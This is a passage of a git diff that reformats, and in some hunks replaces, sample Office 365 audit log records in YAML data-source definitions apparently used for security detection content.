"Actor": [{"ID": "user30@splunkresearch.onmicrosoft.com", "Type": 5}, {"ID": "1003BFFD98415B4E", "Type": 3}, {"ID": "18ed3507-a475-4ccb-b669-d66bc9f2a36e", "Type": 2}, {"ID": "User_e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "User", "Type": 2}], "ActorContextId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "InterSystemsId": "ea473f15-64b3-435a-a885-6ee3908919e2", "IntraSystemId": "00000000-0000-0000-0000-000000000000", "SupportTicketId": "", "Target": [{"ID": "ServicePrincipal_2dedf863-ac93-4f45-87b3-e32f48145380", "Type": 2}, {"ID": "2dedf863-ac93-4f45-87b3-e32f48145380", "Type": 2}, {"ID": "ServicePrincipal", "Type": 2}, {"ID": "Malicious11", "Type": 1}, {"ID": "e06366ca-8489-4748-b6a2-d7e4332f45c1", "Type": 2}, {"ID": "e06366ca-8489-4748-b6a2-d7e4332f45c1", "Type": 4}], "TargetContextId": "75243ab2-44f8-435c-a7a6-b479385df6d4"}' +example_log: | + {"CreationTime": "2024-02-07T22:31:14", "Id": "f624ed92-b4a2-4d42-aa8b-20a261d06b7f", "Operation": "Add service principal.", "OrganizationId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "RecordType": 8, "ResultStatus": "Success", "UserKey": "1003BFFD98415B4E@splunkresearch.onmicrosoft.com", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory", "ObjectId": "e06366ca-8489-4748-b6a2-d7e4332f45c1", "UserId": "user30@splunkresearch.onmicrosoft.com", "AzureActiveDirectoryEventType": 1, "ExtendedProperties": [{"Name": "additionalDetails", "Value": "{\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36\",\"AppId\":\"e06366ca-8489-4748-b6a2-d7e4332f45c1\"}"}, {"Name": "extendedAuditEventCategory", "Value": "ServicePrincipal"}], "ModifiedProperties": [{"Name": "AccountEnabled", "NewValue": "[\r\n true\r\n]", "OldValue": "[]"}, {"Name": "AppPrincipalId", "NewValue": "[\r\n \"e06366ca-8489-4748-b6a2-d7e4332f45c1\"\r\n]", "OldValue": "[]"}, {"Name": "DisplayName", "NewValue": "[\r\n \"Malicious11\"\r\n]", "OldValue": "[]"}, {"Name": "ServicePrincipalName", "NewValue": "[\r\n \"e06366ca-8489-4748-b6a2-d7e4332f45c1\"\r\n]", "OldValue": "[]"}, {"Name": "Credential", "NewValue": "[\r\n {\r\n \"CredentialType\": 2,\r\n \"KeyStoreId\": \"291154f0-a9f5-45bb-87be-9c8ee5b6d62c\",\r\n \"KeyGroupId\": \"291154f0-a9f5-45bb-87be-9c8ee5b6d62c\"\r\n }\r\n]", "OldValue": "[]"}, {"Name": "Included Updated Properties", "NewValue": "AccountEnabled, AppPrincipalId, DisplayName, ServicePrincipalName, Credential", "OldValue": ""}, {"Name": "TargetId.ServicePrincipalNames", "NewValue": "e06366ca-8489-4748-b6a2-d7e4332f45c1", "OldValue": ""}], "Actor": [{"ID": "user30@splunkresearch.onmicrosoft.com", "Type": 5}, {"ID": "1003BFFD98415B4E", "Type": 3}, {"ID": "18ed3507-a475-4ccb-b669-d66bc9f2a36e", "Type": 2}, {"ID": "User_e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "User", "Type": 2}], "ActorContextId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "InterSystemsId": "ea473f15-64b3-435a-a885-6ee3908919e2", "IntraSystemId": "00000000-0000-0000-0000-000000000000", "SupportTicketId": "", "Target": [{"ID": "ServicePrincipal_2dedf863-ac93-4f45-87b3-e32f48145380", "Type": 2}, {"ID": "2dedf863-ac93-4f45-87b3-e32f48145380", "Type": 2}, {"ID": "ServicePrincipal", "Type": 2}, {"ID": "Malicious11", "Type": 1}, {"ID": "e06366ca-8489-4748-b6a2-d7e4332f45c1", "Type": 2}, {"ID": "e06366ca-8489-4748-b6a2-d7e4332f45c1", "Type": 4}], "TargetContextId": "75243ab2-44f8-435c-a7a6-b479385df6d4"} diff --git a/data_sources/o365_change_user_license_.yml b/data_sources/o365_change_user_license_.yml index 8e467d48b4..f9c06711b9 100644 --- a/data_sources/o365_change_user_license_.yml +++ b/data_sources/o365_change_user_license_.yml @@ -97,4 +97,5 @@ output_fields: - src - vendor_account - vendor_product -example_log: '{"CreationTime": "2023-09-11T15:55:46", "Id": "1e39f32d-081d-4494-994a-533b57f91df7", "Operation": "Change user license.", "OrganizationId": "bbad9541-eb53-4533-bcef-2b76182c3b75", "RecordType": 8, "ResultStatus": "Success", "UserKey": "1003BFFD98415B4E@splunkresearch.onmicrosoft.com", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory", "ObjectId": "victimUser@splunkresearch.onmicrosoft.com", "UserId": "evilUser@splunkresearch.onmicrosoft.com", "AzureActiveDirectoryEventType": 1, "ExtendedProperties": [{"Name": "additionalDetails", "Value": "{\"id\":\"64c07906-cb25-4d37-b38c-a862f2e49671\",\"seq\":\"6\",\"b\":\"://admin.microsoft.com;https://wusportalprv.office.com;https://auth.microsoftonline.com;https://portal.office.com;https://portal-sdf.office.com/;https://portal.office.com/;https://cp.portal.office.com/;https://scuportalprv.office.com;https://ncuportalprv.office.com;https://ncuportal.office.com;https://weuportal.office.com;https://eusportal.office.com;https://neuportal.office.com;https://scuportal.office.com;https://seaportal.office.com;https://wusportal.office.com;https://easportal.office.com;https://wjpportal.office.com;https://ejpportal.office.com;https://nukportal.office.com;https://sukportal.office.com;https://admin-ignite.microsoft.com;https://admin-sdf.microsoft.com;https://wukportal.office.com/\\\\\\\"},{\\\\\\\"Name\\\\\\\":\\\\\\\"SPN\\\\\\\",\\\\\\\"OldValue\\\\\\\":null,\\\\\\\"NewValue\\\\\\\":\\\\\\\"Microsoft.Office365Portal;00000006-0000-0ff1-ce00-000000000000;00000006-0000-0ff1-ce00-000000000000/portal.microsoftonline.com;https://ncuportalprv-staging.office.com;https://scuportalprv-staging.office.com;https://admin.microsoft365.com;https://portal-sdf.apps.mil/;https://portal-sdf.apps.mil;https://portal.apps.mil/;https://portal.apps.mil;https://portal-sdf.office365.us/;https://portal-sdf.office365.us;https://portal.office365.us/;https://portal.office365.us;https://portal.microsoft.com;https://admin.microsoft.com;https://wusportalprv.office.com;https://auth.microsoftonline.com;https://portal.office.com;https://portal-sdf.office.com/;https://portal.office.com/;https://cp.portal.office.com/;https://scuportalprv.office.com;https://ncuportalprv.office.com;https://ncuportal.office.com;https://weuportal.office.com;https://eusportal.office.com;https://neuportal.office.com;https://scuportal.office.com;https://seaportal.office.com;https://wusportal.office.com;https://easportal.office.com;https://wjpportal.office.com;https://ejpportal.office.com;https://nukportal.office.com;https://sukportal.office.com;https://admin-ignite.microsoft.com;https://admin-sdf.microsoft.com;https://wukportal.office.com/\\\\\\\"}]\\\",\\\"additionalDetails\\\":\\\"{\\\\\\\"User-Agent\\\\\\\":\\\\\\\"O365AdminPortal\\\\\\\"}\\\"}\",\"c\":\"6\"}"}, {"Name": "extendedAuditEventCategory", "Value": "User"}], "ModifiedProperties": [], "Actor": [{"ID": "evilUser@splunkresearch.onmicrosoft.com", "Type": 5}, {"ID": "1003BFFD98415B4E", "Type": 3}, {"ID": "Microsoft Office 365 Portal", "Type": 1}, {"ID": "00000006-0000-0ff1-ce00-000000000000", "Type": 2}, {"ID": "User_e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "User", "Type": 2}], "ActorContextId": "bbad9541-eb53-4533-bcef-2b76182c3b75", "InterSystemsId": "0817f79e-f0ea-4518-9c21-7babc9a36a79", "IntraSystemId": "6ae5503d-8764-4f6f-9547-668f4b2f82ca", "SupportTicketId": "", "Target": [{"ID": "User_57e4bd36-9722-4a4a-9729-7203d8e00b72", "Type": 2}, {"ID": "57e4bd36-9722-4a4a-9729-7203d8e00b72", "Type": 2}, {"ID": "User", "Type": 2}, {"ID": "victimUser@splunkresearch.onmicrosoft.com", "Type": 5}, {"ID": "10032002CC029AE9", "Type": 3}], "TargetContextId": "bbad9541-eb53-4533-bcef-2b76182c3b75"}' +example_log: | + {"CreationTime": "2023-09-11T15:55:46", "Id": "1e39f32d-081d-4494-994a-533b57f91df7", "Operation": "Change user license.", "OrganizationId": "bbad9541-eb53-4533-bcef-2b76182c3b75", "RecordType": 8, "ResultStatus": "Success", "UserKey": "1003BFFD98415B4E@splunkresearch.onmicrosoft.com", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory", "ObjectId": "victimUser@splunkresearch.onmicrosoft.com", "UserId": "evilUser@splunkresearch.onmicrosoft.com", "AzureActiveDirectoryEventType": 1, "ExtendedProperties": [{"Name": "additionalDetails", "Value": "{\"id\":\"64c07906-cb25-4d37-b38c-a862f2e49671\",\"seq\":\"6\",\"b\":\"://admin.microsoft.com;https://wusportalprv.office.com;https://auth.microsoftonline.com;https://portal.office.com;https://portal-sdf.office.com/;https://portal.office.com/;https://cp.portal.office.com/;https://scuportalprv.office.com;https://ncuportalprv.office.com;https://ncuportal.office.com;https://weuportal.office.com;https://eusportal.office.com;https://neuportal.office.com;https://scuportal.office.com;https://seaportal.office.com;https://wusportal.office.com;https://easportal.office.com;https://wjpportal.office.com;https://ejpportal.office.com;https://nukportal.office.com;https://sukportal.office.com;https://admin-ignite.microsoft.com;https://admin-sdf.microsoft.com;https://wukportal.office.com/\\\\\\\"},{\\\\\\\"Name\\\\\\\":\\\\\\\"SPN\\\\\\\",\\\\\\\"OldValue\\\\\\\":null,\\\\\\\"NewValue\\\\\\\":\\\\\\\"Microsoft.Office365Portal;00000006-0000-0ff1-ce00-000000000000;00000006-0000-0ff1-ce00-000000000000/portal.microsoftonline.com;https://ncuportalprv-staging.office.com;https://scuportalprv-staging.office.com;https://admin.microsoft365.com;https://portal-sdf.apps.mil/;https://portal-sdf.apps.mil;https://portal.apps.mil/;https://portal.apps.mil;https://portal-sdf.office365.us/;https://portal-sdf.office365.us;https://portal.office365.us/;https://portal.office365.us;https://portal.microsoft.com;https://admin.microsoft.com;https://wusportalprv.office.com;https://auth.microsoftonline.com;https://portal.office.com;https://portal-sdf.office.com/;https://portal.office.com/;https://cp.portal.office.com/;https://scuportalprv.office.com;https://ncuportalprv.office.com;https://ncuportal.office.com;https://weuportal.office.com;https://eusportal.office.com;https://neuportal.office.com;https://scuportal.office.com;https://seaportal.office.com;https://wusportal.office.com;https://easportal.office.com;https://wjpportal.office.com;https://ejpportal.office.com;https://nukportal.office.com;https://sukportal.office.com;https://admin-ignite.microsoft.com;https://admin-sdf.microsoft.com;https://wukportal.office.com/\\\\\\\"}]\\\",\\\"additionalDetails\\\":\\\"{\\\\\\\"User-Agent\\\\\\\":\\\\\\\"O365AdminPortal\\\\\\\"}\\\"}\",\"c\":\"6\"}"}, {"Name": "extendedAuditEventCategory", "Value": "User"}], "ModifiedProperties": [], "Actor": [{"ID": "evilUser@splunkresearch.onmicrosoft.com", "Type": 5}, {"ID": "1003BFFD98415B4E", "Type": 3}, {"ID": "Microsoft Office 365 Portal", "Type": 1}, {"ID": "00000006-0000-0ff1-ce00-000000000000", "Type": 2}, {"ID": "User_e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "User", "Type": 2}], "ActorContextId": "bbad9541-eb53-4533-bcef-2b76182c3b75", "InterSystemsId": "0817f79e-f0ea-4518-9c21-7babc9a36a79", "IntraSystemId": "6ae5503d-8764-4f6f-9547-668f4b2f82ca", "SupportTicketId": "", "Target": [{"ID": "User_57e4bd36-9722-4a4a-9729-7203d8e00b72", "Type": 2}, {"ID": "57e4bd36-9722-4a4a-9729-7203d8e00b72", "Type": 2}, {"ID": "User", "Type": 2}, {"ID": "victimUser@splunkresearch.onmicrosoft.com", "Type": 5}, {"ID": "10032002CC029AE9", "Type": 3}], "TargetContextId": "bbad9541-eb53-4533-bcef-2b76182c3b75"} diff --git a/data_sources/o365_consent_to_application_.yml b/data_sources/o365_consent_to_application_.yml index e2ec18eba7..0b8bd41dbe 100644 --- a/data_sources/o365_consent_to_application_.yml +++ b/data_sources/o365_consent_to_application_.yml @@ -93,4 +93,5 @@ output_fields: - src - vendor_account - vendor_product -example_log: '{"CreationTime": "2023-09-05T21:05:31", "Id": "5822e126-1fbc-4269-9ad6-4c1879cdbcf3", "Operation": "Consent to application.", "OrganizationId": "9c00a473-1b2c-4bc2-9215-84df3f57aee5", "RecordType": 8, "ResultStatus": "Success", "UserKey": "1003BFFD98415B4E@contoso.onmicrosoft.com", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory", "ObjectId": "95106c0e-3519-450e-8e38-7f326d873454", "UserId": "attacker@contoso.onmicrosoft.com", "AzureActiveDirectoryEventType": 1, "ExtendedProperties": [{"Name": "additionalDetails", "Value": "{\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\",\"AppId\":\"95106c0e-3519-450e-8e38-7f326d873454\"}"}, {"Name": "extendedAuditEventCategory", "Value": "ServicePrincipal"}], "ModifiedProperties": [{"Name": "ConsentContext.IsAdminConsent", "NewValue": "True", "OldValue": ""}, {"Name": "ConsentContext.IsAppOnly", "NewValue": "False", "OldValue": ""}, {"Name": "ConsentContext.OnBehalfOfAll", "NewValue": "True", "OldValue": ""}, {"Name": "ConsentContext.Tags", "NewValue": "", "OldValue": ""}, {"Name": "ConsentAction.Permissions", "NewValue": "[] => [[Id: r2KtIS6Zn0q2wWeqbIputLSZcc5Sj_NGtUtP2B3pYeI, ClientId: 21ad62af-992e-4a9f-b6c1-67aa6c8a6eb4, PrincipalId: , ResourceId: ce7199b4-8f52-46f3-b54b-4fd81de961e2, ConsentType: AllPrincipals, Scope: User.Read, CreatedDateTime: , LastModifiedDateTime ]]; ", "OldValue": ""}, {"Name": "TargetId.ServicePrincipalNames", "NewValue": "95106c0e-3519-450e-8e38-7f326d873454", "OldValue": ""}], "Actor": [{"ID": "attacker@contoso.onmicrosoft.com", "Type": 5}, {"ID": "1003BFFD98415B4E", "Type": 3}, {"ID": "18ed3507-a475-4ccb-b669-d66bc9f2a36e", "Type": 2}, {"ID": "User_e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "e4c722ac-3b83-478d-8f52-c388885dc30f", "Type": 2}, {"ID": "User", "Type": 2}], "ActorContextId": "9c00a473-1b2c-4bc2-9215-84df3f57aee5", "InterSystemsId": "e0fb6206-12db-4fdf-bf52-699b254124d3", "IntraSystemId": "897d35e6-e2dc-455e-ba65-e6d58adae01f", "SupportTicketId": "", "Target": [{"ID": "ServicePrincipal_21ad62af-992e-4a9f-b6c1-67aa6c8a6eb4", "Type": 2}, {"ID": "21ad62af-992e-4a9f-b6c1-67aa6c8a6eb4", "Type": 2}, {"ID": "ServicePrincipal", "Type": 2}, {"ID": "TestApp2", "Type": 1}, {"ID": "95106c0e-3519-450e-8e38-7f326d873454", "Type": 2}, {"ID": "95106c0e-3519-450e-8e38-7f326d873454", "Type": 4}], "TargetContextId": "9c00a473-1b2c-4bc2-9215-84df3f57aee5"}' +example_log: | + {"CreationTime": "2023-10-18T20:28:48", "Id": "38aa106b-a4a5-4c47-93a1-e8d35c149f37", "Operation": "Consent to application.", "OrganizationId": "29b345e7-26bd-432b-9470-7d6b5f59113e", "RecordType": 8, "ResultStatus": "Success", "UserKey": "10032002CC029AE9@contoso.onmicrosoft.com", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory", "ObjectId": "7693eab0-dc8b-48ad-9721-cebaf79c828a", "UserId": "victim@contoso.onmicrosoft.com", "AzureActiveDirectoryEventType": 1, "ExtendedProperties": [{"Name": "additionalDetails", "Value": "{\"User-Agent\":\"EvoSTS\",\"AppId\":\"7693eab0-dc8b-48ad-9721-cebaf79c828a\"}"}, {"Name": "extendedAuditEventCategory", "Value": "ServicePrincipal"}], "ModifiedProperties": [{"Name": "ConsentContext.IsAdminConsent", "NewValue": "False", "OldValue": ""}, {"Name": "ConsentContext.IsAppOnly", "NewValue": "False", "OldValue": ""}, {"Name": "ConsentContext.OnBehalfOfAll", "NewValue": "False", "OldValue": ""}, {"Name": "ConsentContext.Tags", "NewValue": "WindowsAzureActiveDirectoryIntegratedApp", "OldValue": ""}, {"Name": "ConsentAction.Permissions", "NewValue": "[] => [[Id: AAAAAAAAAAAAAAAAAAAAALSZcc5Sj_NGtUtP2B3pYeI2veRXIpdKSpcpcgPY4Aty, ClientId: 00000000-0000-0000-0000-000000000000, PrincipalId: 57e4bd36-9722-4a4a-9729-7203d8e00b72, ResourceId: ce7199b4-8f52-46f3-b54b-4fd81de961e2, ConsentType: Principal, Scope: Files.Read Files.Read.All Files.Read.Selected Files.ReadWrite Files.ReadWrite.All Files.ReadWrite.AppFolder Files.ReadWrite.Selected User.Read, CreatedDateTime: , LastModifiedDateTime ]]; ", "OldValue": ""}, {"Name": "TargetId.ServicePrincipalNames", "NewValue": "7693eab0-dc8b-48ad-9721-cebaf79c828a", "OldValue": ""}], "Actor": [{"ID": "victim@contoso.onmicrosoft.com", "Type": 5}, {"ID": "10032002CC029AE9", "Type": 3}, {"ID": "User_57e4bd36-9722-4a4a-9729-7203d8e00b72", "Type": 2}, {"ID": "57e4bd36-9722-4a4a-9729-7203d8e00b72", "Type": 2}, {"ID": "User", "Type": 2}], "ActorContextId": "29b345e7-26bd-432b-9470-7d6b5f59113e", "InterSystemsId": "4ccb846d-e346-4bd7-ab5e-eb3c3dbd8cd9", "IntraSystemId": "69d3c4db-4723-49d2-981d-38238c3d95ec", "SupportTicketId": "", "Target": [{"ID": "ServicePrincipal_49f7c1e3-ef0f-469f-b813-3913d41d653c", "Type": 2}, {"ID": "49f7c1e3-ef0f-469f-b813-3913d41d653c", "Type": 2}, {"ID": "ServicePrincipal", "Type": 2}, {"ID": "Bad App", "Type": 1}, {"ID": "7693eab0-dc8b-48ad-9721-cebaf79c828a", "Type": 2}, {"ID": "7693eab0-dc8b-48ad-9721-cebaf79c828a", "Type": 4}], "TargetContextId": "29b345e7-26bd-432b-9470-7d6b5f59113e"} diff --git a/data_sources/o365_disable_strong_authentication_.yml b/data_sources/o365_disable_strong_authentication_.yml index 04c94592c8..d4d398ae75 100644 --- a/data_sources/o365_disable_strong_authentication_.yml +++ b/data_sources/o365_disable_strong_authentication_.yml @@ -88,4 +88,5 @@ output_fields: - src - vendor_account - vendor_product -example_log: '{"Actor": [{"ID": "rodsoto@rodsoto.onmicrosoft.com", "Type": 5}, {"ID": "10037FFEA938FB92", "Type": 3}, {"ID": "User_bfb8c366-0406-41a5-b3e3-328f4a3b4484", "Type": 2}, {"ID": "bfb8c366-0406-41a5-b3e3-328f4a3b4484", "Type": 2}, {"ID": "User", "Type": 2}], "ActorContextId": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "ActorIpAddress": "", "AzureActiveDirectoryEventType": 1, "ClientIP": "", "CreationTime": "2020-12-15T22:35:20", "ExtendedProperties": [{"Name": "additionalDetails", "Value": "{}"}, {"Name": "extendedAuditEventCategory", "Value": "User"}], "Id": "a5aea9c5-b879-495a-b764-119b2bd54d80", "InterSystemsId": "9d18b521-23df-4130-99e2-1ff2eee13333", "IntraSystemId": "7d96ab40-6e16-48e5-bf78-677c89683775", "ModifiedProperties": [{"Name": "StrongAuthenticationRequirement", "NewValue": "[]", "OldValue": "[\r\n {\r\n \"RelyingParty\": \"*\",\r\n \"State\": 0,\r\n \"RememberDevicesNotIssuedBefore\": \"2020-12-15T20:47:57+00:00\"\r\n }\r\n]"}, {"Name": "Included Updated Properties", "NewValue": "StrongAuthenticationRequirement", "OldValue": ""}], "ObjectId": "rodsoto@rodsoto.onmicrosoft.com", "Operation": "Disable Strong Authentication.", "OrganizationId": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "RecordType": 8, "ResultStatus": "Success", "SupportTicketId": "", "Target": [{"ID": "User_bfb8c366-0406-41a5-b3e3-328f4a3b4484", "Type": 2}, {"ID": "bfb8c366-0406-41a5-b3e3-328f4a3b4484", "Type": 2}, {"ID": "User", "Type": 2}, {"ID": "rodsoto@rodsoto.onmicrosoft.com", "Type": 5}, {"ID": "10037FFEA938FB92", "Type": 3}], "TargetContextId": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "UserId": "rodsoto@rodsoto.onmicrosoft.com", "UserKey": "10037FFEA938FB92@rodsoto.onmicrosoft.com", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory"}' +example_log: | + {"Actor": [{"ID": "rodsoto@rodsoto.onmicrosoft.com", "Type": 5}, {"ID": "10037FFEA938FB92", "Type": 3}, {"ID": "User_bfb8c366-0406-41a5-b3e3-328f4a3b4484", "Type": 2}, {"ID": "bfb8c366-0406-41a5-b3e3-328f4a3b4484", "Type": 2}, {"ID": "User", "Type": 2}], "ActorContextId": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "ActorIpAddress": "", "AzureActiveDirectoryEventType": 1, "ClientIP": "", "CreationTime": "2020-12-15T22:35:20", "ExtendedProperties": [{"Name": "additionalDetails", "Value": "{}"}, {"Name": "extendedAuditEventCategory", "Value": "User"}], "Id": "a5aea9c5-b879-495a-b764-119b2bd54d80", "InterSystemsId": "9d18b521-23df-4130-99e2-1ff2eee13333", "IntraSystemId": "7d96ab40-6e16-48e5-bf78-677c89683775", "ModifiedProperties": [{"Name": "StrongAuthenticationRequirement", "NewValue": "[]", "OldValue": "[\r\n {\r\n \"RelyingParty\": \"*\",\r\n \"State\": 0,\r\n \"RememberDevicesNotIssuedBefore\": \"2020-12-15T20:47:57+00:00\"\r\n }\r\n]"}, {"Name": "Included Updated Properties", "NewValue": "StrongAuthenticationRequirement", "OldValue": ""}], "ObjectId": "rodsoto@rodsoto.onmicrosoft.com", "Operation": "Disable Strong Authentication.", "OrganizationId": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "RecordType": 8, "ResultStatus": "Success", "SupportTicketId": "", "Target": [{"ID": "User_bfb8c366-0406-41a5-b3e3-328f4a3b4484", "Type": 2}, {"ID": "bfb8c366-0406-41a5-b3e3-328f4a3b4484", "Type": 2}, {"ID": "User", "Type": 2}, {"ID": "rodsoto@rodsoto.onmicrosoft.com", "Type": 5}, {"ID": "10037FFEA938FB92", "Type": 3}], "TargetContextId": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "UserId": "rodsoto@rodsoto.onmicrosoft.com", "UserKey": "10037FFEA938FB92@rodsoto.onmicrosoft.com", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory"} diff --git a/data_sources/o365_mailitemsaccessed.yml b/data_sources/o365_mailitemsaccessed.yml index 3cab5608e9..cdc50fc361 100644 --- a/data_sources/o365_mailitemsaccessed.yml +++ b/data_sources/o365_mailitemsaccessed.yml @@ -106,4 +106,5 @@ output_fields: - src - vendor_account - vendor_product -example_log: '{"CreationTime": "2024-02-01T16:07:34", "Id": "9cef02e9-4bfa-4c73-be7d-9dad68b9cea8", "Operation": "MailItemsAccessed", "OrganizationId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "RecordType": 50, "ResultStatus": "Succeeded", "UserKey": "100320030DF47B14", "UserType": 0, "Version": 1, "Workload": "Exchange", "UserId": "user15@splunkresearch.onmicrosoft.com", "AppId": "47629505-c2b6-4a80-adb1-9b3a3d233b7b", "ClientAppId": "47629505-c2b6-4a80-adb1-9b3a3d233b7b", "ClientIPAddress": "120.1.121.35", "ClientInfoString": "Client=WebServices;ExchangeWebServicesProxy/CrossSite/EXCH/15.20.7249.024/python-requests/2.25.1[AppId=47629505-c2b6-4a80-adb1-9b3a3d233b7b];", "ExternalAccess": false, "InternalLogonType": 0, "LogonType": 0, "LogonUserSid": "S-1-5-21-1148582062-3132321681-773847816-49307764", "MailboxGuid": "7cfcc8fc-0d4a-4e1c-9592-dbb3de1e3859", "MailboxOwnerSid": "S-1-5-21-1148582062-3132321681-773847816-49307764", "MailboxOwnerUPN": "user15@splunkresearch.onmicrosoft.com", "OperationProperties": [{"Name": "MailAccessType", "Value": "Bind"}, {"Name": "IsThrottled", "Value": "False"}], "OrganizationName": "splunkresearch.onmicrosoft.com", "OriginatingServer": "CH0PR18MB5530 (15.20.4200.000)\r\n", "Folders": [{"FolderItems": [{"InternetMessageId": "", "SizeInBytes": 44329}, {"InternetMessageId": "", "SizeInBytes": 44304}, {"InternetMessageId": "", "SizeInBytes": 44572}, {"InternetMessageId": "", "SizeInBytes": 245068}], "Id": "LgAAAAC0AxwgOj/BRq9Bs1bhMPw/AQDh+UNSDzeHSLWfq+fr83BDAAAAAAEMAAAB", "Path": "\\Inbox"}], "OperationCount": 4}' +example_log: | + {"CreationTime": "2024-02-01T16:09:50", "Id": "6b939c77-cd6d-43a3-9c9f-fc6919909f93", "Operation": "MailItemsAccessed", "OrganizationId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "RecordType": 50, "ResultStatus": "Succeeded", "UserKey": "QB42NZNNXG0KTTF2", "UserType": 0, "Version": 1, "Workload": "Exchange", "UserId": "user20@splunkresearch.onmicrosoft.com", "AppId": "47629505-c2b6-4a80-adb1-9b3a3d233b7b", "ClientAppId": "47629505-c2b6-4a80-adb1-9b3a3d233b7b", "ClientIPAddress": "120.1.121.35", "ClientInfoString": "Client=WebServices;ExchangeWebServicesProxy/CrossSite/EXCH/15.20.7249.024/python-requests/2.25.1[AppId=47629505-c2b6-4a80-adb1-9b3a3d233b7b];", "ExternalAccess": false, "InternalLogonType": 0, "LogonType": 0, "LogonUserSid": "S-1-5-21-1148582062-3132321681-773847816-49307435", "MailboxGuid": "cfe5bb8d-f836-41e9-8d63-dbbd35ee09d9", "MailboxOwnerSid": "S-1-5-21-1148582062-3132321681-773847816-49307435", "MailboxOwnerUPN": "user20@splunkresearch.onmicrosoft.com", "OperationProperties": [{"Name": "MailAccessType", "Value": "Bind"}, {"Name": "IsThrottled", "Value": "False"}], "OrganizationName": "splunkresearch.onmicrosoft.com", "OriginatingServer": "CH0PR18MB5530 (15.20.4200.000)\r\n", "Folders": [{"FolderItems": [{"InternetMessageId": "", "SizeInBytes": 44329}, {"InternetMessageId": "", "SizeInBytes": 44304}, {"InternetMessageId": "", "SizeInBytes": 44572}, {"InternetMessageId": "", "SizeInBytes": 245068}], "Id": "LgAAAAC0AxwgOj/BRq9Bs1bhMPw/AQDh+UNSDzeHSLWfq+fr83BDAAAAAAEMAAAB", "Path": "\\Inbox"}], "OperationCount": 10} diff --git a/data_sources/o365_modifyfolderpermissions.yml b/data_sources/o365_modifyfolderpermissions.yml index 195b230441..42a419ca0d 100644 --- a/data_sources/o365_modifyfolderpermissions.yml +++ b/data_sources/o365_modifyfolderpermissions.yml @@ -108,4 +108,5 @@ output_fields: - src - vendor_account - vendor_product -example_log: '{"CreationTime": "2023-09-07T18:19:07", "Id": "ff065c17-e638-4013-20ab-08dbafceeca1", "Operation": "ModifyFolderPermissions", "OrganizationId": "e17879dd-24ec-44a6-be92-9dcbf6969220", "RecordType": 2, "ResultStatus": "Succeeded", "UserKey": "10032002CC029AE9", "UserType": 0, "Version": 1, "Workload": "Exchange", "ClientIP": "22.23.21.25", "UserId": "user1@contoso.onmicrosoft.com", "AppId": "00000002-0000-0ff1-ce00-000000000000", "ClientIPAddress": "22.23.21.25", "ClientInfoString": "Client=OWA;Action=ViaProxy", "ExternalAccess": false, "InternalLogonType": 0, "LogonType": 0, "LogonUserSid": "S-1-5-21-1148582062-3132321681-773847816-45339891", "MailboxGuid": "8e942cc1-73d8-4483-9def-7d9579d615a7", "MailboxOwnerSid": "S-1-5-21-1148582062-3132321681-773847816-45339891", "MailboxOwnerUPN": "user1@contoso.onmicrosoft.com", "OrganizationName": "contoso.onmicrosoft.com", "OriginatingServer": "BYAPR18MB2728 (15.20.4200.000)\r\n", "SessionId": "d2a5a3ba-992b-431a-9b52-8c76210d17d9", "Item": {"Id": "LgAAAABKe+NY5HVjRYWDqaJ5IKKFAQBQ11dzmT6LS6bQbkNDtISsAAAAAAEMAAAB", "ParentFolder": {"Id": "LgAAAABKe+NY5HVjRYWDqaJ5IKKFAQBQ11dzmT6LS6bQbkNDtISsAAAAAAEMAAAB", "MemberRights": "FreeBusySimple", "MemberSid": "S-1-1-0", "MemberUpn": "Everyone", "Name": "Inbox", "Path": "\\Inbox"}}}' +example_log: | + {"CreationTime": "2024-03-29T17:57:58", "Id": "ddf699c8-3af5-40b6-ec3c-08dc5019c477", "Operation": "ModifyFolderPermissions", "OrganizationId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "RecordType": 2, "ResultStatus": "Succeeded", "UserKey": "100320030DF47B14", "UserType": 0, "Version": 1, "Workload": "Exchange", "ClientIP": "120.1.121.43", "UserId": "user15@splunkresearch.com", "AppId": "00b41c95-dab0-4487-9791-b9d2c32c80f2", "ClientIPAddress": "120.1.121.43", "ClientInfoString": "Client=WebServices;python-requests/2.25.1;", "ExternalAccess": false, "InternalLogonType": 0, "LogonType": 0, "LogonUserSid": "S-1-5-21-1148582062-3132321681-773847816-49307764", "MailboxGuid": "7cfcc8fc-0d4a-4e1c-9592-dbb3de1e3859", "MailboxOwnerSid": "S-1-5-21-1148582062-3132321681-773847816-49307764", "MailboxOwnerUPN": "user15@splunkresearch.com", "OrganizationName": "splunkresearch.com", "OriginatingServer": "MN2PR18MB3053 